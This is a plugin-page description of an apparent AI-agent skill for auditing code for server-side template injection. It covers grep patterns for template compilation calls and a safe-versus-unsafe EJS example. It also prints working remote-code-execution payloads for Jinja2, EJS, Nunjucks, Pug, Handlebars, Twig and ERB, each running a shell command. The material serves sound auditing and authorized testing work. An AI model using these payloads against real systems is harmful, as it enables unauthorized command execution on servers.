From find-cve-agent
Detects Server-Side Template Injection (SSTI) vulnerabilities in JS/TS, Python, Ruby, PHP template engines like EJS, Jinja2, Handlebars where user input forms the template string.
npx claudepluginhub byamb4/find-cve-agentThis skill uses the workspace's default tool permissions.
Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.
Detects and exploits SSTI vulnerabilities in Jinja2, Twig, Freemarker, ERB, and other engines for RCE during authorized pentests. Includes detection payloads, engine ID, and tools like tplmap.
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities in Jinja2, Twig, Freemarker, and other engines to achieve RCE during authorized pentests of web apps with templating.
Detects and exploits SSTI vulnerabilities in Jinja2, Twig, Freemarker, and other template engines to achieve RCE during authorized web penetration testing.
Share bugs, ideas, or general feedback.
Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.
// VULNERABLE: user input IS the template
ejs.render(userInput, data);
// SAFE: user input is in the data, not the template
ejs.render(templateFromFile, { name: userInput });
Auto-escaping does NOT help. Auto-escaping prevents XSS in template OUTPUT, not code execution in template COMPILATION.
# JavaScript
grep -rn "Handlebars\.compile\|nunjucks\.renderString\|ejs\.render" .
grep -rn "pug\.compile\|pug\.render\|mustache\.render" .
grep -rn "template(\|compile(\|render(" . | grep -v node_modules
# Python
grep -rn "Template(\|from_string\|render_template_string" .
grep -rn "Jinja2\|jinja2\|Environment\|render_string" .
grep -rn "mako\.template\|Mako\|Template(" .
# Ruby
grep -rn "ERB\.new\|Erubi\|Slim\|Haml" .
# PHP
grep -rn "Twig.*createTemplate\|Twig.*Environment\|Blade\|Smarty" .
For each template compilation call:
Some template engines have sandboxed modes:
grep -rn "SandboxedEnvironment\|sandbox\|restricted" .
Jinja2 SandboxedEnvironment restricts attribute access but may still be bypassable.
{{7*7}}
If output contains 49, template injection confirmed.
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
<%= require('child_process').execSync('id') %>
<%= global.process.mainModule.require('child_process').execSync('id') %>
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
#{global.process.mainModule.require('child_process').execSync('id')}
Harder to exploit in modern versions. Check for helper registration:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
<%= system('id') %>
<%= `id` %>